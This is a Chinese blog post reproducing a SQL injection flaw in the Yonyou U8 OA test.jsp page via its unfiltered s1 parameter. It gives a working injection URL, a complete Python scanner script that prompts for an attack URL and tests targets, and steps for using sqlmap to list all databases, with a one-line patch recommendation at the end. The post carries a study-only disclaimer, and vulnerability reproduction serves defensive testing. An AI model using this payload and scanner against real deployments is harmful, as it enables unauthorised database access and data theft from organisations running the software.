用友OA U8 test.jsp sql注入漏洞复现

警告:本文所涉及内容只可用于交流学习,请勿使用本文提到的内容违反法律,本文和作者不提供任何担保!!!

一、漏洞详情

用友U8 OA test.jsp存在SQL注入,主要是其s1参数未做过滤,导致sql注入,漏洞影响范围为“用友U8OA”。

用友u8OA界面如下

用友OA U8 test.jsp sql注入漏洞复现_第1张图片

 二、漏洞复现

1、初步验证和探测

payload如下

ip:port/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

在url一栏测试一下,发现回显成功,判定存在sql注入

用友OA U8 test.jsp sql注入漏洞复现_第2张图片

也可使用以下脚本探测

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+输入目标url')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \n[o] 响应地址: {} \033[0m".format(target_url, vuln_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

if __name__ == '__main__':
    title()
    target_url = str(input("Please input Attack Url\n目标Url >>> "))
    POC_1(target_url)

 脚本探测结果(显示存在此漏洞)

用友OA U8 test.jsp sql注入漏洞复现_第3张图片

 2、使用sqlmap进一步验证

 burp抓取数据包,使用sqlmap验证

用友OA U8 test.jsp sql注入漏洞复现_第4张图片

跑的时间有点长,建议指定数据库 --dbms=数据库类型

本次目标站指定mysql数据库,如下图

用友OA U8 test.jsp sql注入漏洞复现_第5张图片

 经过等待,发现存在sql注入

用友OA U8 test.jsp sql注入漏洞复现_第6张图片

 列出所有数据库,证明到此结束,(可进一步获取数据)

用友OA U8 test.jsp sql注入漏洞复现_第7张图片

三、修复建议

更新至最新安全版本

你可能感兴趣的:(sql,渗透测试,web安全,网络安全)